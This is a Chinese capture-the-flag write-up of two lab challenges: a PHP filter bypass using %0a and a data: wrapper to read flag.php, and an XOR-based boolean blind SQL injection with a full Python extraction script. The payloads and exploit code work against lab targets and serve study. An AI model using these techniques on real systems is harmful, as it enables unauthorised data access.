知识点
37-1 [MRCTF2020]套娃
做题思路
查看源代码有一段注释代码
$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
分析:
第一个if 中substr_count() 函数计算子串在字符串中出现的次数,为“或”语句。
第二个if需要同时满足两个条件,preg_match函数用于匹配正则表达式。GET提交参数,由上者得参数不能含_,用 . 代替吧,然后过滤正则表达式加%0a。?b.u.p.t=23333%0a
提示在 secrettw.php 里面
打开文件
必须的本地访问,试试改http头
没用。。。。。
看看源码
由WP得知是一
段jsfuck编码
解码获得post me Merak
随意传一个值得到
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
代码审计
利用data伪协议过第一个if,而源码已经提示flag.php,让file等于flag.php看看
又是这个,换个http头试试
payload:
?2333=data:text/plain,todat is a happy day&file=flag.php
他又弄了个change加密函数
exp如下
exp如下 <?php function unchange($v){ $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } return $re; } $real_flag = unchange('flag.php'); echo base64_encode($real_flag); ?>
传入file里
最终paylaod
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
HTTP头增加个
成功得到flag
37-2 [WUSTCTF2020]颜值成绩查询
做题思路
尝试输入1试试
怀疑是个sql注入问题,我试了试发现最多到4,常规SQL注入语句试试,不行
由WP得知可以试试异或 1^1^1
可以查询到,插入SQL语句 (这题过滤了空格)
1^(ascii(substr((select(database())),1,1))>200)^1
大于200就查询不到了,明显的布尔盲注
不多说了,详情参看极客大挑战finalsql
注意一点 flag在value里不是在flag字段里上大佬exp
import requests url= 'http://b91f52c4-276b-4113-9ede-54fb712ac6da.node3.buuoj.cn/' database ="" payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" # for i in range(1,10000): low = 32 high = 128 mid =(low + high) // 2 while(low < high): # payload = payload1.format(i,mid) #查库名 # payload = payload2.format(i,mid) #查表名 # payload = payload3.format(i,mid) #查列名 payload = payload4.format(i,mid) #查flag new_url = url + payload r = requests.get(new_url) print(new_url) if "Hi admin, your score is: 100" in r.text: low = mid + 1 else: high = mid mid = (low + high) //2 if (mid == 32 or mid == 132): break database +=chr(mid) print(database) print(database)